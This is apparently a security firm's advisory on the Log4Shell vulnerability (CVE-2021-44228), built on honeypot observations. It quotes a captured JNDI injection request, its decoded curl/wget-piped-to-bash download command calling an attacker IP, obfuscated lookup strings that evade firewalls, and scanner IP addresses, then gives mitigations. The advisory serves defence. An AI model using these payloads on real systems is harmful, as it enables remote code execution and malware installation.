Critical vulnerability in Log4j2 library – Log4Shell (CVE-2021-44228)

Summary and Impact

A recent zero-day exploit in the popular Java logging library Apache Log4j2 exposes millions of systems to trivial remote code execution attacks. The vulnerability also known as Log4Shell (CVE-2021-44228) [1] has been first publicly disclosed on December 9th, 2021. X41 monitors and analyzes the current developments related to Log4j2 using honeypots as part of the research project PeT-HMR [2].

The vulnerability affects all Log4j2 versions until 2.14.1 and has been classified as extremely critical by the German Federal Office for Information Security (Bundesamt für Sicherheit in der Informationstechnik, BSI) [3]. The most important factors are that the library is extremely widespread, and that the vulnerability is very easy to exploit since it only requires to trigger a log message containing certain strings. Injecting such strings into log messages is easy because log messages typically contain lots of information provided by a client like e.g., HTTP request headers.

An overview by the Dutch National Cyber Security Centre (NCSC) shows affected software products [4]. Many popular software products are affected and receive fixes now. In addition, many more software products especially custom software using Log4j2 are affected and still must be updated.

What happened and how is it evolving?

The Log4j2 library evaluates certain strings in the log messages it processes. This way it is possible to expand variables e.g., with the string ${java:version} the version of the Java Runtime Environment the logger is running in. This mechanism also allows JNDI (Java Naming and Directory Interface) lookups. With JNDI different interfaces to service providers like LDAP allow to retrieve and execute arbitrary remote code. A proof of concept [5] shows the steps necessary to exploit the vulnerability in detail.

Starting with December 10th , we found probes on our honeypots that we run in the context of the PeT-HMR project. We received the first request at 2021-12-10 14:30:07.815755539 CET from IP address 45.155.205.233 which belongs to AS49505 SELECTEL, RU (registered June 18th, 2009):

GET /index.html HTTP/1.1..Host: 162.55.166.127:80..User-Agent: ${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8xNjIuNTUuMTY2LjEyNzo4MHx8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC8xNjIuNTUuMTY2LjEyNzo4MCl8YmFzaA==}..Referer: http://162.55.166.127:80/..Accept-Encoding: gzip..Connection: close....

This request illustrates a typical way to attack web applications by sending HTTP requests with a compromising string in the User-Agent header as this is often logged by web applications, and also in some cases other request headers.

The Base64-encoded data from the example above decodes to:

(curl -s 45.155.205.233:5874/162.55.166.127:80||wget -q -O- 45.155.205.233:5874/162.55.166.127:80)|bash

Sending a request to the LDAP repository:

curl ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8xNjIuNTUuMTY2LjIzMjo4MHx8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC8xNjIuNTUuMTY2LjIzMjo4MCl8YmFzaA==

yields:

DN: Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8xNjIuNTUuMTY2LjIzMjo4MHx8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC8xNjIuNTUuMTY2LjIzMjo4MCl8YmFzaA==
        javaClassName: foo
        javaCodeBase: http://45.155.205.233:9999/
        objectClass: javaNamingReference
        javaFactory: ExploitTsMv9PweOC

This way attackers try to deliver malware to the victim’s system. In the requests we received we detected e.g., a shell script that was identified as a Kinsing malware agent to deploy a crypto miner [6].
The JNDI lookup patterns change over time, so that simple detection patterns in Web Application Firewalls (WAFs) might be circumvented. The common patterns we recognized so far are:

${jndi:ldap://…
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://…
${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://…

All of these patterns resolve to jndi:ldap://. We also detected requests that use other service providers than LDAP. We received some requests using DNS e.g., ${jndi:dns://45.83.64.1/securityscan-http80}. Besides, some requests copy the JNDI lookup string in the request URL and many different headers to increase the likelihood of triggering a log message containing this string.

The most common IP addresses scanning our honeypots are:

108.61.210.108	177.131.174.12
109.237.96.124	185.220.100.247
111.59.85.209	192.42.116.22
113.141.64.14	194.195.244.78
113.98.224.68	195.19.192.26
120.195.30.152	195.54.160.149
124.224.87.11	205.185.119.4
131.100.148.7	212.193.57.225
137.184.96.216	221.226.159.22
139.59.101.242	37.187.50.99
139.59.224.7	45.155.205.233
143.110.221.204	45.56.80.11
159.223.9.17	45.83.64.8
159.65.58.66	45.83.65.10
161.35.155.230	45.83.65.194
167.71.71.229	45.83.67.250
171.25.193.77	5.157.38.50
171.25.193.78	62.76.41.46
175.6.210.66	68.183.44.143

Recommendations

Log4j2 versions greater than 2.10 allow mitigation by setting the JVM property log4j2.formatMsgNoLookups to true. Besides that, for versions 1.x it is recommended removing the class JndiLookup.class which is contained in log4j-core-*.jar from the classpath. This is certain to mitigate the vulnerability and is also a workaround for versions 2.10 and lower. With the command zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class the respective class is removed from the JAR file.

The CERT Coordination Center of Carnegie Mellon University’s Software Engineering Institute provides scanners that search for the JndiLookup.class in JAR, WAR, and EAR archives [7]. This can be used to check if applications might be affected and need to be double-checked.

Log4j2 versions from 2.15.0 on address the vulnerability (CVE-2021-44228). Nevertheless, updating to Log4j 2.15.0 (which sets log4j2.formatMsgNoLookups to true as default) does not fix the vulnerability under all circumstances as with certain configurations attackers may still be able to trigger lookups (CVE-2021-45046) [8]. A new release Log4j 2.16.0 has been published on December 13th to addresses this additional issue. For users requiring Java 7 Apache published a fixed version 2.12.2 on December 14th. Details on the published versions and addressed issues can also be found on the Apache Log4j Security Vulnerabilities page [9].

About X41 D-SEC GmbH

X41 D-SEC GmbH offers premium services in the field of network and application security. These services are provided by a team of specialized IT security experts, operating and skilled to the highest level. X41 employees regularly publish research results and conference papers that attract international attention. Therefore, it is not surprising that X41 count some of the largest companies in the world as its customers, including many outside Europe.

X41 focuses on the execution of penetration tests and code audits, especially of networks, web, and mobile applications, as well as all kinds of new products, protocols, and concepts.

NEWS

Critical vulnerability in Log4j2 library – Log4Shell (CVE-2021-44228)

Summary and Impact

What happened and how is it evolving?

Recommendations

About X41 D-SEC GmbH

References